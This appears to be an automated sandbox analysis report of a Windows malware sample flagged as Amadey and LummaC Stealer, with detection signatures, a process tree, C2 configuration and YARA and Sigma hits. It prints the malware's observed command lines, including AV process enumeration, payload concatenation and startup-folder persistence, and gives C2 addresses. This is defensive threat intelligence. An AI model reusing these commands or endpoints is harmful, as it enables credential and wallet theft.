Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565375
MD5:	3ca635061fa9685d799784f665850565
SHA1:	549bb2808560d826b7be8ea502b46e3cdc101ce3
SHA256:	373ffb138b7376264a307837ef5bd51bd02380376f9fdd27350cf1b65a28bcbb
Infos:

Detection

LummaC, Amadey, Clipboard Hijacker, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

Yara detected Amadeys stealer DLL

Yara detected Clipboard Hijacker

Yara detected LummaC Stealer

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: WScript or CScript Dropper

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Unusual Parent Process For Cmd.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64native

file.exe (PID: 2136 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3CA635061FA9685D799784F665850565)

skotes.exe (PID: 7400 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3CA635061FA9685D799784F665850565)

skotes.exe (PID: 2140 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3CA635061FA9685D799784F665850565)

skotes.exe (PID: 6500 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3CA635061FA9685D799784F665850565)

926085a3ba.exe (PID: 3564 cmdline: "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe" MD5: CA480193E4B8159DD1283118EBDE8896)

cmd.exe (PID: 3000 cmdline: C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5848 cmdline: cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

PING.EXE (PID: 1368 cmdline: ping localhost -n 1 MD5: 2F46799D79D22AC72C241EC0322B011D)

kreon.exe (PID: 1592 cmdline: C:\Users\user\AppData\Local\kreon.exe MD5: CA480193E4B8159DD1283118EBDE8896)

rodda.exe (PID: 7600 cmdline: "C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe" MD5: 79AC6D1413B763A6FA688B99E931BAFC)

chrome.exe (PID: 8076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default" MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 3112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2584,i,13543876262745876758,17897584690013245804,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2688 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)

L.exe (PID: 2716 cmdline: "C:\Users\user\AppData\Local\Temp\1007944001\L.exe" MD5: B0698083692329746FC840E1694AD615)

chrome.exe (PID: 816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default" MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 4276 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2208,i,18153170095158784045,2403833112431802298,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2532 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)

0fVlNye.exe (PID: 7816 cmdline: "C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe" MD5: 978752B65601018DDD10636B648B8E65)

cmd.exe (PID: 1316 cmdline: "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tasklist.exe (PID: 3584 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 8104 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 4940 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5504 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3984 cmdline: cmd /c md 29442 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 2316 cmdline: cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Reynolds.com (PID: 2440 cmdline: Reynolds.com l MD5: C63860691927D62432750013B5A20F5F)

cmd.exe (PID: 6676 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

Reynolds.com (PID: 7680 cmdline: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com MD5: C63860691927D62432750013B5A20F5F)

choice.exe (PID: 8064 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

vg9qcBa.exe (PID: 5088 cmdline: "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe" MD5: 1AD1C59E56BDBFA6705772D6991EEB02)

conhost.exe (PID: 1792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

vg9qcBa.exe (PID: 5384 cmdline: "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe" MD5: 1AD1C59E56BDBFA6705772D6991EEB02)

vg9qcBa.exe (PID: 4948 cmdline: "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe" MD5: 1AD1C59E56BDBFA6705772D6991EEB02)

VBVEd6f.exe (PID: 5496 cmdline: "C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe" MD5: C46423118FE3E4926E2FD4BC1C36367C)

TaskbarMonitorInstaller.exe (PID: 2928 cmdline: "C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe" MD5: EFD35E14043220E2EC5E545BE98A442C)

conhost.exe (PID: 5420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

RegAsm.exe (PID: 4552 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" /nologo /codebase "C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll" MD5: A4EB36BAE72C5CB7392F2B85609D4A7E)

conhost.exe (PID: 5512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

926085a3ba.exe (PID: 1596 cmdline: "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe" MD5: CA480193E4B8159DD1283118EBDE8896)

WerFault.exe (PID: 5496 cmdline: C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732 MD5: 5C06542FED8EE68994D43938E7326D75)

cmd.exe (PID: 4036 cmdline: "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tasklist.exe (PID: 4588 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1528 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6116 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3608 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3104 cmdline: cmd /c md 477151 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6084 cmdline: cmd /c copy /b ..\Enhancements + ..\Images + ..\Mhz + ..\Founded + ..\Pk + ..\Reflected + ..\Downloadcom L MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Selection.com (PID: 8004 cmdline: Selection.com L MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)

choice.exe (PID: 8152 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

svchost.exe (PID: 2360 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: F586835082F632DC8D9404D83BC16316)

WerFault.exe (PID: 5972 cmdline: C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596 MD5: 5C06542FED8EE68994D43938E7326D75)

svchost.exe (PID: 5140 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 7128 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 7964 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc MD5: F586835082F632DC8D9404D83BC16316)

926085a3ba.exe (PID: 5012 cmdline: "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe" MD5: CA480193E4B8159DD1283118EBDE8896)

kreon.exe (PID: 6204 cmdline: "C:\Users\user\AppData\Local\kreon.exe" MD5: CA480193E4B8159DD1283118EBDE8896)

wscript.exe (PID: 5344 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: LummaC

{"C2 url": "https://drive-connect.cyou/api", "Build Version": "FATE99--test"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ChromiumData.exe	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x330:$s3: .enigma2
C:\Users\user\AppData\Local\Temp\ChromiumData.exe	INDICATOR_EXE_Packed_Loader	Detects packed executables observed in Molerats	ditekSHen	0xac032:$l1: loaderx86.dll 0xac032:$l2: loaderx86 0xb23f2:$l2: loaderx86 0x8ec5c:$s1: ImportCall_Zw 0x8ece0:$s1: ImportCall_Zw 0x8f4c0:$s1: ImportCall_Zw 0x8f504:$s1: ImportCall_Zw 0x8f548:$s1: ImportCall_Zw 0x8f59c:$s1: ImportCall_Zw 0x8f5fc:$s1: ImportCall_Zw 0x8f644:$s1: ImportCall_Zw 0x8f68c:$s1: ImportCall_Zw 0x8f6d0:$s1: ImportCall_Zw 0x8f728:$s1: ImportCall_Zw 0x9513c:$s2: DllInstall 0x9514c:$s2: DllInstall 0x935b4:$s3: evb.tmp 0x93760:$s3: evb.tmp 0x95198:$s5: LoadLibrary failed with module
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x330:$s3: .enigma2
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	INDICATOR_EXE_Packed_Loader	Detects packed executables observed in Molerats	ditekSHen	0xac032:$l1: loaderx86.dll 0xac032:$l2: loaderx86 0xb23f2:$l2: loaderx86 0x8ec5c:$s1: ImportCall_Zw 0x8ece0:$s1: ImportCall_Zw 0x8f4c0:$s1: ImportCall_Zw 0x8f504:$s1: ImportCall_Zw 0x8f548:$s1: ImportCall_Zw 0x8f59c:$s1: ImportCall_Zw 0x8f5fc:$s1: ImportCall_Zw 0x8f644:$s1: ImportCall_Zw 0x8f68c:$s1: ImportCall_Zw 0x8f6d0:$s1: ImportCall_Zw 0x8f728:$s1: ImportCall_Zw 0x9513c:$s2: DllInstall 0x9514c:$s2: DllInstall 0x935b4:$s3: evb.tmp 0x93760:$s3: evb.tmp 0x95198:$s5: LoadLibrary failed with module

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.14043450727.0000000005570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.13864024154.0000000005570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.13861306905.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.13904398630.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000003.14512205839.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.14779289517.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.13902305266.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.14546004873.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.13883161992.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.13842539245.0000000005230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: rodda.exe PID: 7600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rodda.exe PID: 7600	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: rodda.exe PID: 7600	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 926085a3ba.exe PID: 1596	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: L.exe PID: 2716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: L.exe PID: 2716	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: L.exe PID: 2716	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: vg9qcBa.exe PID: 4948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vg9qcBa.exe PID: 4948	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: vg9qcBa.exe PID: 4948	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.file.exe.e90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.ba0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.ba0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6500, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\926085a3ba.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5020, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , ProcessId: 5344, ProcessName: wscript.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe, ParentProcessId: 7600, ParentProcessName: rodda.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default", ProcessId: 8076, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6500, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\926085a3ba.exe

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com, ProcessId: 2440, TargetFilename: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe, ParentProcessId: 7816, ParentProcessName: 0fVlNye.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd, ProcessId: 1316, ProcessName: cmd.exe

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com, ProcessId: 2440, TargetFilename: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr

Sigma detected: Unusual Parent Process For Cmd.EXE

Source: Process started

Author: Tim Rauch: Data: Command: "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732, ParentImage: C:\Windows\System32\WerFault.exe, ParentProcessId: 5496, ParentProcessName: WerFault.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd, ProcessId: 4036, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5020, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" , ProcessId: 5344, ProcessName: wscript.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 928, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 2360, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

